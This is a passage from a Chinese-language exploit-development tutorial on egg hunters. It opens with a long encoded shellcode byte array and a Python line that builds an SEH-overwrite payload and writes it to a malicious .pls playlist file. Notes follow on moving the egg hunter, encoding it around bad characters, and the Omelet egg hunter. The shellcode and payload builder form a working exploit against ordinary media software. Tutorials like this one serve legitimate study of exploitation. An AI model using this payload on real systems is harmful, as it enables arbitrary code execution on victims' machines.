shellcode += "\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x51\x41\x50\x41\x35"
shellcode += "\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
shellcode += "\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58"
shellcode += "\x41\x35\x38\x41\x41\x50\x41\x5a\x41\x42\x41\x42"
shellcode += "\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31"
shellcode += "\x31\x31\x31\x41\x49\x41\x4a\x51\x49\x31\x41\x59"
shellcode += "\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
shellcode += "\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59"
shellcode += "\x58\x43\x52\x4d\x30\x4d\x30\x4d\x30\x53\x30\x54"
shellcode += "\x49\x39\x55\x4e\x51\x57\x50\x51\x54\x44\x4b\x32"
shellcode += "\x30\x50\x30\x44\x4b\x52\x32\x4c\x4c\x44\x4b\x30"
shellcode += "\x52\x4d\x44\x44\x4b\x32\x52\x4e\x48\x4c\x4f\x37"
shellcode += "\x47\x4f\x5a\x4d\x56\x50\x31\x4b\x4f\x36\x4c\x4f"
shellcode += "\x4c\x53\x31\x53\x4c\x4b\x52\x4e\x4c\x4d\x50\x39"
shellcode += "\x31\x48\x4f\x4c\x4d\x4b\x51\x47\x57\x39\x52\x4c"
shellcode += "\x32\x52\x32\x42\x37\x44\x4b\x42\x32\x4e\x30\x34"
shellcode += "\x4b\x4f\x5a\x4f\x4c\x34\x4b\x50\x4c\x4e\x31\x54"
shellcode += "\x38\x59\x53\x51\x38\x4b\x51\x58\x51\x52\x31\x44"
shellcode += "\x4b\x51\x49\x4f\x30\x4d\x31\x48\x53\x44\x4b\x51"
shellcode += "\x39\x4e\x38\x4a\x43\x4f\x4a\x30\x49\x34\x4b\x50"
shellcode += "\x34\x54\x4b\x4b\x51\x39\x46\x30\x31\x4b\x4f\x56"
shellcode += "\x4c\x49\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37\x4e"
shellcode += "\x58\x49\x50\x33\x45\x4c\x36\x4b\x53\x43\x4d\x4c"
shellcode += "\x38\x4f\x4b\x33\x4d\x4e\x44\x52\x55\x49\x54\x50"
shellcode += "\x58\x44\x4b\x52\x38\x4f\x34\x4d\x31\x48\x53\x51"
shellcode += "\x56\x54\x4b\x4c\x4c\x50\x4b\x34\x4b\x52\x38\x4d"
shellcode += "\x4c\x4d\x31\x39\x43\x34\x4b\x4d\x34\x44\x4b\x4d"
shellcode += "\x31\x5a\x30\x34\x49\x50\x44\x4e\x44\x4f\x34\x31"
shellcode += "\x4b\x31\x4b\x43\x31\x42\x39\x30\x5a\x32\x31\x4b"
shellcode += "\x4f\x39\x50\x51\x4f\x31\x4f\x31\x4a\x54\x4b\x4c"
shellcode += "\x52\x4a\x4b\x54\x4d\x51\x4d\x32\x4a\x4b\x51\x44"
shellcode += "\x4d\x45\x35\x46\x52\x4d\x30\x4d\x30\x4b\x50\x32"
shellcode += "\x30\x43\x38\x4e\x51\x54\x4b\x42\x4f\x33\x57\x4b"
shellcode += "\x4f\x49\x45\x47\x4b\x4c\x30\x47\x45\x36\x42\x31"
shellcode += "\x46\x31\x58\x47\x36\x35\x45\x57\x4d\x55\x4d\x4b"
shellcode += "\x4f\x48\x55\x4f\x4c\x4c\x46\x43\x4c\x4b\x5a\x35"
shellcode += "\x30\x4b\x4b\x39\x50\x54\x35\x4d\x35\x57\x4b\x50"
shellcode += "\x47\x4d\x43\x53\x42\x52\x4f\x31\x5a\x4d\x30\x52"
shellcode += "\x33\x4b\x4f\x58\x55\x33\x33\x33\x31\x52\x4c\x43"
shellcode += "\x33\x4e\x4e\x53\x35\x53\x48\x52\x45\x4d\x30\x41"
shellcode += "\x41"

payload = headers + padding_one + next_seh + handler + jumper + padding_two + egg_hunter + junk + egg * 2 + align + shellcode

with open("mr_mes_funky.pls", "w") as f:
    f.write(payload)

0x04 收尾整合

调整egg hunter的起始位置

  1. 原因:我们要寻找的tag+shellcode有可能分布在内存的多个地方,有些可能被损坏(可借助pvefindaddr等插件查看),所以为了效率、快速、一次性成功等原因,有时候需要调整egg hunter的位置。
  2. 方法:egg hunter实际上也是一种shellcode,针对性地更改起始汇编代码即可。
  3. 调整位置:漏洞环境相关:当前栈帧、某个寄存器中的地址或某个硬编码地址;系统相关:镜像地址或堆起始地址等。

Egg hunter中的坏字符与编码

Egg hunter作为一种shellcode,可能也会遇到badchar和encoder的问题,原文通过对他人漏洞利用的分析,总结了一种比较新颖的编码方式,其解码的过程个人觉得更像是一种生成的过程。

  1. 使用popad等指令下移esp,在逐渐push 解码(生成)的egg hunter后,使得decoder(generator)后正好放置着egg hunter,随即执行。
  2. 首先使用2条and指令清空eax,再使用3条sub指令生成4字节原始的egg hunter,然后push至栈上。
  3. 减3次4字节的值都要求是字母或数字,原文中给出的方法是:对于4个字节,在每个位置都可以选取\x55\x7f间的一个字符,3次相加得到对应index的字符即可,有进位也是可以的。
  4. 优点是一种比较新颖的生成egg hunter的方法,缺点就是极大地增加了自身的长度。

Omelet egg hunter

  1. 本质:是一种shellcode,旨在内存中搜索特定的内存块,并写入某一内存地址处,最后跳转执行。
  2. 内存搜索方法:和egg hunter一样可以采用SEH或系统调用来规避非法地址访问的异常。
  3. 内存块特征:至少得有tag、size、index这几个属性。
  4. 写入内存要求:预期的内存地址处,而且该地址可写可执行。

0x05 总结

egg hunter本质上还是一种shellcode,加入了内存搜索的功能,根据漏洞上下文环境的的不同,还可以更改汇编代码完成更加高级的功能,例如Omelet egg hunter。万变不离其宗,既然已经到了能执行任意汇编代码的阶段,稍加探索肯定是能够执行我们的shellcode的。

以后的平庸都是对现在放纵的后果,要在梦中识别出梦,最后跳转出来也是蛮有意思的。